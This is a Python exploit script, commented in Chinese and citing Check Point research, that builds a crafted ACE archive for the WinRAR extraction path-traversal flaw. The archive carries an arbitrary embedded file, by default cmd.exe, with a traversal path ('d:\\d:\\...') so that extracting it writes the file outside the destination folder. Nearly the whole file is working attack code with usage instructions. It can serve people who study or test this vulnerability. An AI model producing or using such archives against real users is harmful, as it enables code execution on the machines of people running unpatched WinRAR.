#! -*- coding:utf-8 -*-
__author__="浮萍"
__Date__="20190221"
"""
WinRAR代码执行漏洞生成文件的利用脚本

参考：
https://research.checkpoint.com/extracting-code-execution-from-winrar/
https://fuping.site/2019/02/21/WinRAR-Extracting-Code-Execution-Validate/

使用方法:python WinRAR_exploit.py 

Python version 3.7.1

可以自定义添加文件，文件可为exe等格式，如果文件不存在，则以文本加入压缩文件中
"""

import sys
import zlib
import struct
import binascii

class AceCRC32:

    def __init__(self, buf=b''):
        """
        Initialize and add bytes in *buf* into checksum.
        """
        self.__state = 0
        if len(buf) > 0:
            self += buf

    def __iadd__(self, buf):
        """
        Adding a buffer of bytes into the checksum, updating the rolling
        checksum from all previously added buffers.
        """
        self.__state = zlib.crc32(buf, self.__state)
        return self

    def __eq__(self, other):
        """
        Compare the checksum to a fixed value or another ACE CRC32 object.
        """
        return self.sum == other

    def __format__(self, format_spec):
        """
        Format the checksum for printing.
        """
        return self.sum.__format__(format_spec)

    def __str__(self):
        """
        String representation of object is hex value of checksum.
        """
        return "0x%08x" % self.sum

    @property
    def sum(self):
        """
        The final checksum.
        """
        return self.__state ^ 0xFFFFFFFF


class AceCRC16(AceCRC32):

    def __str__(self):
        """
        String representation of object is hex value of checksum.
        """
        return "0x%04x" % self.sum

    @property
    def sum(self):
        """
        The checksum.
        """
        return super().sum & 0xFFFF


def ace_crc16(buf):
    """
    Return the ACE CRC-16 checksum of the bytes in *buf*.

    >>> ace_crc16(b"123456789")
    50905
    """
    return AceCRC16(buf).sum
def ace_crc32(buf):
    return AceCRC32(buf).sum

def generate_exploit_ace(filename,buf,outfilename):
    payload = '9f7c31000000902a2a4143452a2a141402008650554e010754e200000000162a554e524547495354455245442056455253494f4e2a'

    content_hex = binascii.b2a_hex(buf)

    filename_hex = binascii.b2a_hex(filename.encode("gbk"))
    filenamelength_hex = getlenHex(len(filename),4)

    reserved1_hex='5445'

    params_hex='0a00'
    compqual_hex='03'       #normal
    comptype_hex='00'       #stored
    crc32 = ace_crc32(buf)
    crc32_hex= getlenHex(crc32,8)

    attribs_hex='20000000'  #ARCHIVE
    datetime_hex='3850554e'  #2019-02-21 10:01:48

    packsize = origsize = len(buf)
    packsize_hex = origsize_hex = getlenHex(packsize,8)
    hdr_flags_hex = '0180'
    hdr_type_hex = '01'

    str1 =  hdr_type_hex+\
            hdr_flags_hex+\
            packsize_hex+\
            origsize_hex+\
            datetime_hex+\
            attribs_hex+\
            crc32_hex+\
            comptype_hex+\
            compqual_hex+\
            params_hex+\
            reserved1_hex+\
            filenamelength_hex+\
            filename_hex.decode()

    str1lenHex = getlenHex(round(len(str1)/2),4)#获取长度的hex
    
    str2hex = str1lenHex+str1

    hdr_crc_hex = getlenHex(ace_crc16(bytes.fromhex(str1)),4)

    payload += hdr_crc_hex
    payload += str2hex
    payload += content_hex.decode()
    
    with open(outfilename,'wb') as file:
        file.write(bytes.fromhex(payload))

    print("Generated "+outfilename+" successfully")

def getlenHex(x,y):#x为整数，y为所需长度
    x_hex = format(x,'x').rjust(y,'0')
    outhex = ''
    for a in range(len(x_hex),0,-2):
        outhex+=(x_hex[a-2:a])
    return outhex


if __name__ == '__main__':

    outfilename = 'WinRAR_exploit_wg.rar' #生成的文件名
    filename = 'cmd.exe' #添加的文件
    filepath = 'd:\\d:\\%s' % (filename) #解压的路径
    buf = b'Hello world!'
    try:
        with open(filename,'rb') as f:
            buf = f.read()
    except Exception as e:
        filepath = 'd:\\d:\\test.txt'  
    generate_exploit_ace(filepath,buf,outfilename)